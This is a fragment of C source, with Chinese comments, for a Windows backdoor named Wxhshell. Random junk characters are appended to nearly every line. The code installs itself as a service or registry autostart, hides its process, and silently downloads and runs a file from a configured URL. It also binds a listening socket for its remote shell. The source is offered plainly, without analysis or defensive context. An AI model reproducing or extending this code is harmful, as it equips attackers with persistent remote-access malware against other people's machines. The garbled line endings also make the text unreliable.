ULONG InheritedFromUniqueProcessId; %KyZ15_(-L
} PROCESS_BASIC_INFORMATION; %xgP*%Sv2
4&*lpl*N
PROCNTQSIP NtQueryInformationProcess; ~>:JwTy
o]?
yyP
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v^C\
GDH
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3p#UEH3
ioi/`iQR
HANDLE hProcess; wkt4vE87
PROCESS_BASIC_INFORMATION pbi;
qCI&H7u@
[MeivrJ+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t#(NfzN
if(NULL == hInst ) return 0; st w@@GQ
0}i
9`p
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lU1SN/'zx
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +Nn >*sz
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >@N.jw>#T
1]}\h]*
if (!NtQueryInformationProcess) return 0; !&U75FpN}:
<$nPGz)}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 30h[&Oc
if(!hProcess) return 0; 8r(Vz
Vz mlKVE
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]yOM
r'i99~
CloseHandle(hProcess); ]D6<6OB
kHK<~srB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $
DN.
if(hProcess==NULL) return 0; U`*we43
_kD5pC =
HMODULE hMod; lg|6~=aQ
char procName[255]; X"Eqhl<t
unsigned long cbNeeded; SrA6}kS
as:=QMV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ei2?H;H;
DS8HSSD
CloseHandle(hProcess); 2?,lr2
dwn|1%D
if(strstr(procName,"services")) return 1; // 以服务启动 8i6iynR
q;SD+%tI
return 0; // 注册表启动 t_/qd9Jv
} o9sQ!gptw
GVT 6cR
// 主模块 !MSa -
int StartWxhshell(LPSTR lpCmdLine) 9No6\{[M
{ n[/D>Pi
SOCKET wsl; Yte*$cJ=
BOOL val=TRUE; 88u[s@
int port=0; thPAD+u.3
struct sockaddr_in door; %Vo'\|
$Y/z+ea
if(wscfg.ws_autoins) Install(); 2K~v`c*4
XzAXcxC6G
port=atoi(lpCmdLine); pll5m7[
Z{3=.z{&^=
if(port<=0) port=wscfg.ws_port; y95
#t
TrDTay
WSADATA data; IiKU=^~w
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B)k/]vz)*D
H8HH) ^
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; e\z,^
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0Y`+L6&UX
door.sin_family = AF_INET; |f}wOkl
door.sin_addr.s_addr = inet_addr("127.0.0.1"); []OS p&
door.sin_port = htons(port); K`=U5vG^
}r04*P(
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !@V]H
closesocket(wsl); s\'t=}0q
return 1; -/8V2dv3
} X>dQK4!R
2Jo|P A`9
if(listen(wsl,2) == INVALID_SOCKET) { (ht"wY#T<(
closesocket(wsl); hQ3@Cf W
return 1; +46& Zb35
} i% 0qN
Wxhshell(wsl); Ps!
\k%FUl
WSACleanup(); P w6l'
^cdbM
return 0; YloE4PAY7
E=.J*7
} .yDR2sW
CS%ut-K<5M
// 以NT服务方式启动 j+.E#:tu"
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uToi4]w"y
{ _bh$
t
DWORD status = 0; >>=zkPy
DWORD specificError = 0xfffffff; 25G~rklk
VU\G49
serviceStatus.dwServiceType = SERVICE_WIN32; NX8w(~r,:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; }T%E;m-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1%@i4
serviceStatus.dwWin32ExitCode = 0; gC6Gm':c
serviceStatus.dwServiceSpecificExitCode = 0; yFo8x[
serviceStatus.dwCheckPoint = 0; TGpdl`k\T
serviceStatus.dwWaitHint = 0; =)#XZ[#F
B"7~[,he
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a# 0*#&?7@
if (hServiceStatusHandle==0) return; $y)tcVc
%PVu>^
status = GetLastError(); y] Q/(O
if (status!=NO_ERROR) ][f 0ZMa
{ J^kSp
serviceStatus.dwCurrentState = SERVICE_STOPPED; @$b7
eu
serviceStatus.dwCheckPoint = 0; b#(QZ
serviceStatus.dwWaitHint = 0; <{V{2V#
serviceStatus.dwWin32ExitCode = status; _)CCD33$
serviceStatus.dwServiceSpecificExitCode = specificError; 45+kwo0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @&h_+|:-
return; #;2kN
&
} Ornm3%p+e
lz).=N}m
serviceStatus.dwCurrentState = SERVICE_RUNNING; *E@as
serviceStatus.dwCheckPoint = 0; *eAt '
serviceStatus.dwWaitHint = 0; d.sn D)X
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a/d8_(0
} (!ud"A|ab4
p=Qo92
NH
// 处理NT服务事件,比如:启动、停止 'pAq;2AA
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ud-c+, xX
{ WAr6Dv,8
switch(fdwControl) ?AQR\) P
{ C-2#-{<
case SERVICE_CONTROL_STOP: eET1f8B=L
serviceStatus.dwWin32ExitCode = 0; 5IG#-Q(6sp
serviceStatus.dwCurrentState = SERVICE_STOPPED; .v) A|{:2
serviceStatus.dwCheckPoint = 0; `yXHb
serviceStatus.dwWaitHint = 0; %H"AHkge:a
{ _hB7;N3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r^d:Po
} X)Rh&ui
return; YZ0Q?7l7
case SERVICE_CONTROL_PAUSE: &53LJlL
Co
serviceStatus.dwCurrentState = SERVICE_PAUSED; G*VcAJ[
break; Yu%ZwTvw
case SERVICE_CONTROL_CONTINUE: A*{V%7hs&
serviceStatus.dwCurrentState = SERVICE_RUNNING; r2;+ACwWf_
break; `?"[u"*
case SERVICE_CONTROL_INTERROGATE: *=QWx[K|
break; U_0"1+jbq
}; g dBH\K (\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F-?s8RD
} -1F+,+m
9(9\kQj{C
// 标准应用程序主函数 7baQ4QY?n
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y#{> tC
{ 2)`4(38
0o!Egq_
// 获取操作系统版本 $T'lWD *
OsIsNt=GetOsVer(); 3}?]G8iL?L
GetModuleFileName(NULL,ExeFile,MAX_PATH); ue6&)7:~
*Q3q(rdrp
// 从命令行安装 ^paM{'J\\)
if(strpbrk(lpCmdLine,"iI")) Install(); /9u12R*<
nrZZk QNI
// 下载执行文件 A3e83g~L
if(wscfg.ws_downexe) { XuW>GT/
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pu]Pp`SP
WinExec(wscfg.ws_filenam,SW_HIDE); n ^C"v6X
} _E[)_yH'-
z`@|v~i0`
if(!OsIsNt) { v+2t;PJd2
// 如果时win9x,隐藏进程并且设置为注册表启动 NHzhGg]
HideProc(); jTz~
V&^
StartWxhshell(lpCmdLine); %wux#"8
} &p^8zE s
else 20RI S j
if(StartFromService()) RC]-9gd3Q
// 以服务方式启动
Hn,;G`{
StartServiceCtrlDispatcher(DispatchTable); ^&8xfI6?
else )1!*N)$
// 普通方式启动 1O;q|p'9
StartWxhshell(lpCmdLine); g)~"-uQQ
K@@[N17/8
return 0; fnO>v/&B
}